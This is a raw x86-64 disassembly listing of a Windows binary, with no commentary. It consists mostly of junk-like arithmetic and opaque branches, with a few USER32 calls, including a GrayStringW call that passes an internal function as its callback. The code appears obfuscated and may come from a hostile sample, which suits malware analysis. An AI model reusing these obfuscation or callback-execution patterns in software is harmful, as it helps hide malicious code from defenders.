cmp dword [rsp + 0x3538], 0x6b7
ja 0x140004788
movabs rax, 0x71707b60d7d847
cmp qword [0x1401c02c0], rax
jge 0x140004a4b
movsx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x6190], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6190]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6180], rax
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov dword [rsp + 0x350c], eax
call fcn.140143640
nop
jmp 0x140142489
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
xor eax, ecx
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
mov dword [rsp + 0x35c0], ecx
movzx edx, byte [rsp + 0x61]
movzx ecx, dl
mov edx, dword [rsp + 0x35c0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140004b5e
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov dword [rsp + 0x35c4], eax
mov dword [rsp + 0x35c8], 0x807e
mov eax, dword [rsp + 0x3524]
mov ecx, dword [rsp + 0x350c]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x3518]
jle 0x140004b5c
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x35cc], al
cmp byte [rsp + 0x35cc], 0x2f
je 0x140004add
jmp 0x140004b19
mov eax, dword [rsp + 0x3524]
mov ecx, dword [rsp + 0x350c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
xor r8d, r8d
mov rdx, qword [rsp + 0x6120]
mov rcx, qword [rsp + 0x6198]
call qword [sym.imp.USER32.dll_GetNextDlgGroupItem]
mov qword [rsp + 0x60c8], rax
jmp 0x140004b5c
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
sub eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x60], al
mov ecx, dword [rsp + 0x350c]
call fcn.1401427f0
nop
jmp 0x140004b9e
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
or eax, ecx
movzx ecx, word [rsp + 0xaac]
movzx edx, word [rsp + 0xaa4]
and ecx, edx
cmp eax, ecx
jge 0x140004b9e
mov ecx, 0x1e
call qword [sym.imp.USER32.dll_SetDoubleClickTime]
mov dword [rsp + 0x359c], eax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x63]
movzx edx, byte [rsp + 0x61]
and ecx, edx
cmp eax, ecx
jne 0x1401423c7
cmp dword [rsp + 0x3578], 0x8a3a
jae 0x140004e9f
mov eax, dword [rsp + 0x3578]
add eax, 0xc5
mov dword [rsp + 0x3578], eax
mov rax, qword [rsp + 0x6058]
movzx ecx, al
mov rax, qword [rsp + 0x6180]
shl rax, cl
mov qword [rsp + 0x6078], rax
mov eax, dword [rsp + 0x351c]
mov ecx, dword [rsp + 0x3504]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaac], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, word [0x1401c02c8]
movzx ecx, word [rsp + 0xaa4]
add eax, ecx
mov word [rsp + 0xaac], ax
movsx eax, word [rsp + 0xa9c]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x63]
sub eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x35c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3508], eax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x6180]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x61a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x61a0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
movzx eax, word [rsp + 0xaa4]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xaac], ax
movzx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c02c8], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xaa0]
and eax, ecx
mov word [rsp + 0xaa4], ax
movsx eax, word [0x1401c16d0]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov word [rsp + 0xaa8], ax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x3524]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6180]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x351c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movsx eax, word [0x1401c16d0]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov word [rsp + 0xab4], ax
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x63]
add eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xaa8], ax
jmp 0x140004bca
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
or ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x3524]
jl 0x140004f0b
mov eax, dword [rsp + 0x3518]
mov dword [rsp + 0x35d0], eax
cmp dword [rsp + 0x35d0], 0x63e4
je 0x140004ed7
jmp 0x140004f06
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x20], al
mov r9, qword [0x1401c02c0]
movzx r8d, byte [rsp + 0x61]
mov rdx, qword [rsp + 0x6058]
mov rax, qword [rsp + 0x6118]
movzx ecx, byte [rax]
call fcn.140143410
nop
jmp 0x14000505f
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x63]
sar eax, cl
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
mov dword [rsp + 0x35d4], ecx
mov rdx, qword [rsp + 0x6150]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x35d4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14000505f
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x35d8], al
cmp byte [rsp + 0x35d8], 0x22
je 0x140004f65
jmp 0x140005043
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
sub eax, ecx
movsx ecx, word [rsp + 0xaa8]
mov rdx, qword [rsp + 0x6168]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x140004fd2
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [0x1401c02c8]
and eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov dword [rsp + 0x40], 0x5a
mov dword [rsp + 0x38], 0xd6
mov dword [rsp + 0x30], 0x87
mov dword [rsp + 0x28], PathMakeUniqueName
mov dword [rsp + 0x20], ILCreateFromPathW
mov r9d, 0xdc
lea r8, [fcn.140143640]
mov rdx, qword [rsp + 0x61a8]
mov rcx, qword [rsp + 0x61b0]
call qword [sym.imp.USER32.dll_GrayStringW]
mov dword [rsp + 0x359c], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
sub eax, ecx
mov word [rsp + 0xab0], ax
jmp 0x14000505f
mov eax, dword [rsp + 0x3588]
mov ecx, dword [rsp + 0x35c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
cmp dword [rsp + 0x35bc], 0x10488
ja 0x1400055f3
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x6180]
mov rcx, qword [rsp + 0x6078]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6058], rax
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
add eax, ecx
mov word [rsp + 0xaac], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov byte [rsp + 0x60], al
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x61], al
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x63]
or eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
mov eax, dword [0x1401c02b8]
movzx ecx, al
mov eax, dword [rsp + 0x35c4]
shr eax, cl
mov dword [rsp + 0x3588], eax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3588]
shl eax, cl
mov dword [rsp + 0x351c], eax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6180]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3524], eax
movsx eax, word [rsp + 0xa9c]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c16d0], ax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [rsp + 0xaa8]
and eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
sub eax, ecx
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
add eax, ecx
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x35bc]
add eax, 0xcc
mov dword [rsp + 0x35bc], eax
mov eax, dword [rsp + 0x3524]
mov ecx, dword [rsp + 0x350c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3588], eax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6078]
shl rax, cl
mov qword [rsp + 0x6058], rax
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x62]
sar eax, cl
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
movzx eax, byte [rsp + 0x63]
movzx ecx, byte [rsp + 0x61]
or eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [rsp + 0xab0]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x35c4], eax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
and eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
sub eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
movabs rax, 0x7a4b255d962ec9
mov rcx, qword [0x1401c02c0]
add rcx, rax
mov rax, rcx
mov qword [0x1401c02c0], rax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
add eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaac], ax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
xor eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
sar eax, cl
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
and eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6180], rax
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0xaa4]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
movsx eax, word [0x1401c16d0]
movsx ecx, word [rsp + 0xab4]
add eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
and eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6080]
mov ecx, dword [0x1401c02b8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3504], eax
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x63]
add eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov word [rsp + 0xaac], ax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x61b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x61b8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6078], rax
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xaa0]
xor eax, ecx
mov word [0x1401c02c8], ax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
or eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
jmp 0x14000505f
lea rax, [rsp + 0x63]
mov qword [rsp + 0x61c0], rax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x6118]
movzx eax, byte [rax]
mov byte [rsp + 0x65], al
mov rax, qword [0x1401c02c0]
mov qword [rsp + 0x61c8], rax
mov eax, dword [rsp + 0x350c]
movzx ecx, al
mov eax, dword [rsp + 0x3518]
sar eax, cl
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6058]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6180], rax
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov dword [rsp + 0x35dc], eax
cmp dword [rsp + 0x35dc], 0
je 0x140005697
cmp dword [rsp + 0x35dc], 0xb71
je 0x1401421d1
jmp 0x1401422c7
lea rax, [rsp + 0x62]
mov qword [rsp + 0x61d0], rax
movzx eax, byte [rsp + 0x64]
movzx ecx, byte [rsp + 0x61]
or eax, ecx
mov dword [rsp + 0x35e0], eax
movzx ecx, byte [rsp + 0x63]
mov rdx, qword [rsp + 0x6150]
movzx edx, byte [rdx]
mov dword [rsp + 0x35e4], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x35e4]
idiv ecx
mov ecx, dword [rsp + 0x35e0]
cmp ecx, eax
jle 0x140141ff0
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
add eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
movzx eax, word [0x1401c02c8]
movzx ecx, word [rsp + 0xaa0]
and eax, ecx
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x65]
add eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
movabs rax, 0x791eaa204a3978
mov rcx, qword [0x1401c02c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x61c8], rax
mov eax, dword [rsp + 0x3504]
mov ecx, dword [rsp + 0x3508]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x64], al
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xaa4]
sub eax, ecx
mov word [0x1401c02c8], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
sub eax, ecx
mov byte [rsp + 0x60], al
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
movsx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6180]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6058], rax
mov eax, dword [rsp + 0x351c]
movzx ecx, al
mov eax, dword [rsp + 0x35c4]
shl eax, cl
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movabs rax, 0x7a5e4417ee0977
mov rcx, qword [0x1401c02c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x61c8], rax
mov eax, dword [rsp + 0x3524]
mov ecx, dword [rsp + 0x3518]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x61], al
movsx eax, word [rsp + 0xa9c]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401c16d0], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
add eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
sub eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x351c], eax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x61d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x61d8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
movabs rax, 0x76e1e4bb17dd4d
mov rcx, qword [0x1401c02c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401c02c8], ax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
sub eax, ecx
mov byte [rsp + 0x63], al
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x64]
add eax, ecx
mov byte [rsp + 0x63], al
movabs rax, 0x7ea5ae8585a3d5
mov rcx, qword [0x1401c02c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x61c8], rax
mov eax, dword [rsp + 0x351c]
mov ecx, dword [0x1401c02b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x351c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3504], eax
mov eax, dword [rsp + 0x35ac]
add eax, 0x84
mov dword [rsp + 0x35ac], eax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6180]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov word [0x1401c02c8], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x65]
xor eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64]
shl eax, cl
mov byte [rsp + 0x63], al
movzx eax, word [0x1401c02c8]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0x6078]
movzx ecx, al
mov rax, qword [rsp + 0x6180]
shr rax, cl
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
cmp dword [rsp + 0x35ac], 0x10cc7
jne 0x1400056e9
mov eax, dword [rsp + 0x3508]
mov dword [rsp + 0x35e8], eax
mov dword [rsp + 0x35ec], 0xf592
lea rax, [rsp + 0x350c]
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x61c8]
mov qword [rsp + 0x61e8], rax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa8], ax
movzx eax, byte [rsp + 0x64]
movzx ecx, byte [rsp + 0x63]
sub eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov eax, dword [rsp + 0x35c4]
mov ecx, dword [rsp + 0x3508]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x351c], eax
mov eax, dword [rsp + 0x35ec]
sub eax, 0xd8
mov dword [rsp + 0x35ec], eax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x6180]
mov rcx, qword [rsp + 0x6078]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x35c4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
xor eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0xaac]
or eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
movsx eax, word [0x1401c16d0]
movsx ecx, word [rsp + 0xa9c]
shl eax, cl
mov word [rsp + 0xab4], ax
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x60]
sar eax, cl
mov rcx, qword [rsp + 0x61d0]
